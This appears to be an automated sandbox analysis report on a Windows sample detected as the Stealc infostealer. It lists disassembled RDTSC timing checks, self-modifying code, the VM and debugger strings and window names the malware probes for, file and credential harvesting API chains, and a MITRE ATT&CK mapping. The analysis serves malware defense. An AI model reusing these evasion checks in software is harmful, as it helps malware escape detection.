Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D134 second address: 92D138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D2B0 second address: 92D2B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D2B6 second address: 92D2BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D2BA second address: 92D2C4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F1D21A766h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D59B second address: 92D5D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1CE19AB0h 0x00000009 popad 0x0000000a ja 00007F7F1CE19AAEh 0x00000010 pushad 0x00000011 popad 0x00000012 jl 00007F7F1CE19AA6h 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jmp 00007F7F1CE19AAEh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D5D2 second address: 92D5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F7F1D21A76Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D5E5 second address: 92D5ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D5ED second address: 92D5F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D90F second address: 92D924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1CE19AAFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D924 second address: 92D93D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7F1D21A76Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D93D second address: 92D958 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007F7F1CE19AA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F7F1CE19AAFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DAA6 second address: 92DAC9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7F1D21A766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F7F1D21A779h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DAC9 second address: 92DB05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1CE19AB1h 0x00000007 jmp 00007F7F1CE19AB4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F7F1CE19AACh 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DB05 second address: 92DB0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DB0A second address: 92DB1E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F1CE19AAAh 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F7F1CE19AA6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92DB1E second address: 92DB22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E526 second address: 92E52A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E52A second address: 92E548 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A776h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92E548 second address: 92E54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 930EB9 second address: 930ECA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A76Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C190 second address: 93C1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1CE19AAFh 0x00000009 jc 00007F7F1CE19AB3h 0x0000000f jmp 00007F7F1CE19AADh 0x00000014 pop ebx 0x00000015 push eax 0x00000016 jmp 00007F7F1CE19AABh 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F7F1CE19AB3h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93C1D8 second address: 93C1DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 949839 second address: 94984A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7F1CE19AAAh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95B49F second address: 95B4A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95B4A5 second address: 95B4B7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jng 00007F7F1CE19AA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95B4B7 second address: 95B4DE instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7F1D21A766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F7F1D21A771h 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 ja 00007F7F1D21A766h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95BE78 second address: 95BE7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95BE7C second address: 95BE82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95BE82 second address: 95BE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C016 second address: 95C01A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C18E second address: 95C1AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1CE19AB8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C1AA second address: 95C1AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95DB17 second address: 95DB1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95DB1B second address: 95DB1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95DB1F second address: 95DB46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7F1CE19AB8h 0x0000000c jno 00007F7F1CE19AA6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F369 second address: 95F39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F1D21A775h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7F1D21A770h 0x00000011 jnl 00007F7F1D21A766h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F39B second address: 95F3AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jl 00007F7F1CE19AA6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9622E9 second address: 9622ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9622ED second address: 96231A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 je 00007F7F1CE19AA6h 0x0000000d pop edx 0x0000000e popad 0x0000000f nop 0x00000010 mov dx, CC1Eh 0x00000014 mov edx, eax 0x00000016 push dword ptr [ebp+1245F9CAh] 0x0000001c mov edx, dword ptr [ebp+122D2203h] 0x00000022 push 5AE600D1h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96231A second address: 96231E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96231E second address: 962324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9657C3 second address: 9657CD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7F1D21A766h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9657CD second address: 9657E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jne 00007F7F1CE19AA6h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9657E3 second address: 9657E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9657E7 second address: 9657ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB02BC second address: 4FB02CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A76Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB02CB second address: 4FB02F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7F1CE19AAFh 0x00000009 jmp 00007F7F1CE19AB3h 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB02F4 second address: 4FB03A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F7F1D21A774h 0x0000000d push eax 0x0000000e pushad 0x0000000f call 00007F7F1D21A771h 0x00000014 push ecx 0x00000015 pop ebx 0x00000016 pop eax 0x00000017 movsx edi, cx 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F7F1D21A772h 0x00000023 or cx, FBE8h 0x00000028 jmp 00007F7F1D21A76Bh 0x0000002d popfd 0x0000002e movzx esi, di 0x00000031 popad 0x00000032 mov ebp, esp 0x00000034 jmp 00007F7F1D21A76Bh 0x00000039 pop ebp 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d call 00007F7F1D21A76Bh 0x00000042 pop ecx 0x00000043 pushfd 0x00000044 jmp 00007F7F1D21A779h 0x00000049 sbb cx, BB66h 0x0000004e jmp 00007F7F1D21A771h 0x00000053 popfd 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB03E8 second address: 4FB0433 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1CE19AB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F7F1CE19AAEh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F7F1CE19AADh 0x00000019 jmp 00007F7F1CE19AB0h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0433 second address: 4FB0457 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1D21A76Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7F1D21A770h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB0457 second address: 4FB0466 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1CE19AABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 884D0A second address: 884D10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6D1B2F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6CF2A2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6D1A42 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 87F861 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004838B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004838B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00484910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00484910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0047DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0047E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00484570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00484570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0047ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0047BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0047DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004716D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004716D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00483EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00483EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0047F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0047F6B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00471160 GetSystemInfo,ExitProcess,

0_2_00471160

Source: file.exe, file.exe, 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1701335364.000000000121E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareVE
Source: file.exe, 00000000.00000002.1701335364.0000000001296000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1701335364.0000000001277000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1701335364.000000000121E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.1701335364.0000000001262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13590
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13587
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13609
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13601
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13641

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004745C0 VirtualProtect ?,00000004,00000100,00000000

0_2_004745C0

Source: C:\Users\user\Desktop\file.exe

0_2_00489860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00489750 mov eax, dword ptr fs:[00000030h]

0_2_00489750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00487850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00487850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6968, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00489600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00489600

Source: file.exe, file.exe, 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00487B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00486920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00486920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00487850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00487850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00487A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00487A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1701335364.000000000121E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1660531613.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6968, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1701335364.000000000121E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1660531613.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6968, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

